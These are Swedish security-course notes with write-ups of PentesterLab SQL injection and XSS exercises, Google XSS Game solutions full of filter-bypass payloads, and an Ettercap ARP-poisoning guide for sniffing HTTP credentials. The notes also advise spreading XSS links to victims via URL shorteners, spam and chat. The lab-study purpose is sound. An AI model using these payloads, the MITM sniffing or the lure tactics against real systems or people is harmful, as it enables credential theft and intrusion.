Pentester Lab – SQL

https://pentesterlab.com/exercises/web_for_pentester/course

3. Här kan vi iof skriva:
?name=root’or’1’=’1
Utan några mellanrum. Men ponera att även det är blockat, då kan vi använda oss av SQL-kommentarer.
?name=root’/**/or/**/’1’=’1

4. Här ser vi alltså att någon har börjat försvara sig.
?id=1 or 1=1
vi kan även göra
?id=1+1 (fast ?id=1%2B1)

5.Här har admin försökt försvara sig genom ett regex. Men det funkar inte så bra. Tidigare exploits funkar på denna.

6.Här är regexet också dåligt. Nu måste stringen avslutas med en int. vilket är enkelt att göra.
?id=1 or 1=1
ett annat sätt är att köra
?id=1 or 1=1 #3

7. Här måste vi lägga till new line, eftersom regexen inte checkar för det.
?id=1%0A or 1=1
%0A är url-encodningen för n

8.

tmux och irssi

Tmux

För att kunna kunna idla på irc 24/7 behöver man en server som jämnt är online, irssi och tmux.

Logga in på serverns med ssh.
Ladda ner irssi och tmux.
sudo apt-get install irssi tmux
Starta en ny session med tmux genom kommandot:
tmux
Öppna irc med kommandot:
irssi
joina en server och en kanal.
/connect irc.freenode.net
/join #namnpåkanal

För att sedan kunna gå ur å komma in igen å läsa all historik så kör kommandot:
ctrl a
ctrl d
crt-b D

För att sedan gå ut ur alla tmux-sessioner så kör du.
ctrl-d
För att sedan hoppa in på en ny session igen så kör du
tmux list-sessions
tmux attach -t 0 (eller vad sessionen nu heter)
ctr-b p – för att gå över till nästa panel
ctr-b , – för att renamea ett fönster

Ettercap – MiTM

1. Ladda ner och installera Kali linux.
2. Innan vi öppnar ettercap så måste vi göra vissa konfigureringar.
– Öppna /etc/ettercap/ettercap.conf
– Scrolla ner till och ändra till följande

[privs]
ec_uid = 0 #65534
ec_gid = 0 #65534

Och kommentera sedan ut under sektionen redir_command_on/off.

Linux
kommentera ut
if you use ip-tables

redir_command_on = "iptables -t..."
redir_command_on = "iptables -t..."

3. Öppna upp Ettercap gui.
4. Klicka på “Sniff” och sedan på “Unified snffing”, sedan väljer du nätverksinterface.
5. Klicka på Scan for hosts, under Hosts. Du kan behöva scanna fler gånger för att få upp alla maskiner som är uppkopplade mot nätverket.
6. Klicka sedan på routern (192.168.1.1) å sen target 1 sedan victim-datorn target 2. Om du inte väljer några targets så kommer alla att MiTMlas. Vilket kan vara påfrestande för nätverket.
7. Klicka på MiTM och sedan Arp poisining, och sedan kryssa i Sniff remote connections.
8. Klicka på Start, och sedan Start sniffing.
9. Nu kommer Ettercap att registrera alla användarnamn och lösenord som skrivs in. Givet att dom skrivs in i HTTP och inte i HTTPS.
Attacken är inte speciellt lyckad eftersom moderna webbrowsers säger till varje gång man besöker en https-sajt, den säger då till och varnar för att nån sniffar trafiken.
10. För att testa om det verkligen fungerar så kan du gå in på familjeliv.se och testa logga in. Du behöver inte ens logga in, utan bara skriva in ett fejkat användarnamn och lösen.

XSS 2 – Google XSS Game

https://xss-game.appspot.com/level5

Level 1
Här är level 1: https://xss-game.appspot.com/level1

Ja här var det ju inga konstigheter. En uppvärmningsnivå.
I sökfältet kör man:

<script>alert("xss");</script>

Level 2
Som vi kan se i det första inlägget. Det första kommentaren, så går det alltså att posta html i kommentarerna. Men script verkar vara filtrerat.
Så istället injectar vi en funktion i bilden.

<img src="#" onclick="alert(3);">

Level 3
Nu har det blivit lite svårare.
Vi kan alltså notera att när man klickar på en flik så kallar vi på funktionen onclick(chooseTab(“3)). Om vi sedan kollar i den funktionen så ser vi att den hämtar ett nummer från adressfältet, med hjälp av dom-objektet window.location.hash. Hash representerar är # som finns i adressen. Detta innebär att vi kan injecta javascript direkt i adressfältet. Det som skrivs i adressfältet skickas sedan till en bildadress för att visa upp rätt bild.
Därför behöver vi bara injecta följande:

https://xss-game.appspot.com/level3/frame#2' onclick="alert(2)"

Efter #2 så avslutar vi attributet med ett ‘. Sen lägger vi till vår egen kod.

Level 4
Den här var mycket svårare än de tidigare.
Där behövde vi först avsluta tidigare kommando, men för att det skulle funka så behöver vi använda url-encoding. Dom finns här: http://www.w3schools.com/tags/ref_urlencode.asp

https://xss-game.appspot.com/level4/frame/?timer=')%3Bonload="alert(3)"://

Level 5
Så I den här leveln så lär mig sig att det finns ett annat sätt att injecta javascript. Det är att injecta det i länkadresser.

<a href="javascript:alert(2)">länk</a>

Så det är principen för den här leveln.

https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(2)

Level 6
Den här nivån var lite svårare än de tidigare.
Här behöver man själv skapa en fil som ska executas. Så jag skapade filen i pastebin.
Det finns en regex som filterar ut http. Så att man inte kan skicka in externa skript. Men regexen är inte case-sensitive. Vilket gör att man helt enkelt bara kan skriva det med stora bokstäver.

https://xss-game.appspot.com/level6/frame#hTTpS://pastebin.com/raw.php?i=xRxAiEVU

PentesterLab – Web For Pentester

Installera

Så. Först måste du ladda ner VirtualBox. Därefter skapa en ny linuxmaskin, 32bit.
Därefter laddar du ner .iso-filen. Klickas på settings i din maskin, och sedan på storeage, där det är empy lägger du till iso-filen. Sen går du över till nätverk å byter från LAN till Bridged.
Sedan startar du den virtuella maskinen. När den har laddat klart kör du kommandot:
ifconfig
Då får du reda på datorns interna ip. Kopiera det å klistra in det i den browser, så kommer sidan upp.

XSS

Det finns i princip två sorters XSS. Persistent och non-persistent. Dessa kan även bveskrivas som Server och DOM attacker. Non-persistrent kallas ibland även för reflected.
Non-persistent: reflected.
Persitent: Server
I persistent så sparas scriptet, eller koden, i serverns databas. Så nästa gång som någon besöker sidan och servern skickar infon från databasen så innehåller den scriptet.
Persistent är självklart inte lika vanligt som non-persistent. Men det är mycket farligare attack.

Det finns även self-propagating.

Non-persistent/reflected.
Som man kan sedan nedan så kan XSS-attacker utföras direkt i adressfältet. Problemet är dock att attacken bara utsätter attackeraren själv som kör skriptet (när hen laddar sidan). Därför måste vi alltså lyckas transportera adressen med scriptet i till en annan användare. Detta kan göras genom url-förkortningar.
Google short blockerar om man försöker lägga in script. Men inte:
https://bitly.com/shorten/
Sedan krävs det vanlig hederlig social engineering. De vanligaste sätten är att skicka länkarna via spam eller via typ chatklienter. Typ skype. Ett annat sätt är att publicera länken på forum eller i kommentarsfält. Då kan man dessutom “gömma” adressen i en a href-tag.

Exempel 1.
Vi kan direkt se att i adressfältet kan man sätta in text som sedan skrivs ut på sidan.

http://192.168.1.101/xss/example1.php?name=hacker

Här kan man alltså testa att sätta in ett script för att pröva om det exekivieras.

http://192.168.1.101/xss/example1.php?name=<script>alert("hej")</script>

Exempel 2.
Här kan vi notera att om vi testar

http://192.168.1.101/xss/example1.php?name=<script>alert("hej")</script>

Så skrivs bara alert(“hej”) ut. Vilket tyder på att något filtrerar bort script-taggarna. Vilket gör att scriptet tolkas som text och inte som kod.

För att komma runt det så kan vi köra den enklaste formen.

http://192.168.1.101/xss/example1.php?name=<Script>alert("hej")</Script>

Alltså, vi ändrade så att script stavas med stor bokstav. Den regex filtrering som hade implementeras hade inte tänkt så långt.

Exempel 3
Den här var lite knivigare. Hela

&lt;script&gt;

Här nu bortfiltrerad.
Knepet blir därför att köra

http://192.168.1.101/xss/example3.php?name=<scri<script>pt>alert("xss")</scri</script>pt>

Exempel 4
Här har script helt å hållet filtrerats bort. Då får vi istället injecta javascript i andra taggar.
andra taggar där man kan göra det är
a
img

http://192.168.1.101/xss/example4.php?name=hacker&lt;img src=&quot;jj&quot; onerror=&quot;alert('hello')&quot;/&gt;

http://192.168.1.101/xss/example4.php?name=hacker%3Ca%20onclick=%22alert(%27hej%27)%22%20href=%22test%22/%3Ehejejej%3C/a%3E

http://192.168.1.101/xss/example4.php?name=hacker&lt;a href=&quot;alert(&quot;hej&quot;);&quot;&gt;klicka mig&lt;/a&gt;

http://192.168.1.101/xss/example4.php?name=hacker<button%20onclick=%27alert("hello")%27>button</button>

http://192.168.1.101/xss/example4.php?name=hacker%3Cimg%20src=%22ff%22%20onclick=%27alert(%22hej%22)%27%3E

http://192.168.1.101/xss/example4.php?name=hacker%3Cp%20onmouseup=%27alert(%22hello%22)%27%3EClick%20the%20text!%3C/p%3E

http://192.168.1.101/xss/example4.php?name=hacker%3Cp%20onmousedown=%27alert(%22hello%22)%27%3EClick%20the%20text!%3C/p%3E

Här funkar alltså alla javascript functioner men till element som inte innehåller ordet script.

Exempel 5
I Exempel 5 verkar det som att de tillåter script-taggen igen men nu är det alert som är sanitized. Det är enkelt att komma undan. Om vi vill få upp en pop-up så kan vi antingen köra:

http://192.168.1.101/xss/example5.php?name=hacker<script>prompt("hello")</script>

//eller
http://192.168.1.101/xss/example5.php?name=hacker<script>confirm("hello")</script>

//Eller så skriver vi scriptet i unicode-tecken.

http://192.168.1.101/xss/example5.php?name=hacker%3Cscript%3Eeval(%22u0061u006Cu0065u0072u0074u0028u0027u0068u0065u006Cu006Cu006Fu0027u0029%22);%3C/script%3E

Scriptet kan alltså skrivas i unicode-format. Eval utför koden oavsett om det är unicode/utf8/hexadecimal.
Om du enkelt vill förvanla utf8-text till unicode kan du använda den här koden:

function toUnicode(theString) {
  var unicodeString = '';
  for (var i=0; i < theString.length; i++) {
    var theUnicode = theString.charCodeAt(i).toString(16).toUpperCase();
    while (theUnicode.length < 4) {
      theUnicode = '0' + theUnicode;
    }
    theUnicode = '\u' + theUnicode;
    unicodeString += theUnicode;
  }
  return unicodeString;
}
var uni = toUnicode(script);
console.log(uni);

Exempel 6.
Här har det skett lite. Om vi kollar i källkoden så ser vi att det vi skickar in blir tolkat som att det är en del av en string som sätts in i en variabel.
För att lösa det behöver vi först avsluta stringen å sedan lägga in vår kod, å sedan kommentera ut efterföljande kod.

http://192.168.1.101/xss/example6.php?name=hacker";alert("hello")://

Exempel 7.
Här kan vi notera i källkoden att det är ungefär samma problem som Exempel 6. Skillnaden är bara att nu filteras alla “”. Så vi använder bara ” istället

http://192.168.1.101/xss/example7.php?name=';alert('hello')://

Exempel 8.
Om vi klickar runt lite så kan vi se att vi kan injecta saker in i form-taggen. Där kan vi sen injecta vår alert via en onclick.

http://192.168.1.101/xss/example8.php/%22onclick=%22alert('hello');

Exempel 9.
Den sista var ganska så enkel. koden i källkoden såg ut såhär:

<script>
  document.write(location.hash.substring(1));
</script>

Vilket betyder att den skriver ut på hemsidan (document.write) vad som finns i adressen efter hash-markören. Alltså efter #

Detta är ett exempel på en DOM-based attack. Hemsidan kan vara statisk men det finns ändå risk genom att man skriver document.write(location.hash)

Websäkerhet
1. Kör igenom denna. https://pentesterlab.com/exercises/web_for_pentester/course
-Skriv igenom en tydlig förklaring av allting för varje exempel

-A. XSS – Check
-B. SQL-injections
-C. Directory Traversal

2. Kör igenom Google XSS Game
https://xss-game.appspot.com/
– Skriv ut i en bloggpost och beskriv tydligt.

3. Gå igenom dessa: http://overthewire.org/wargames/natas/
-A. Kategorisera challenges efter typ a sårbarhet.
-B. Skriv en tydlig beskrivning av hur du gick till väga och tankesätt och så.

4. OWASP Security Sheppard
– Gör som ovan. Gå igenom alla övningar och skriv ner och beskriv hur du gick till väga.

Kolla igenom vidosarna om websäk.
http://www.cs.fsu.edu/~redwood/OffensiveComputerSecurity/lectures.html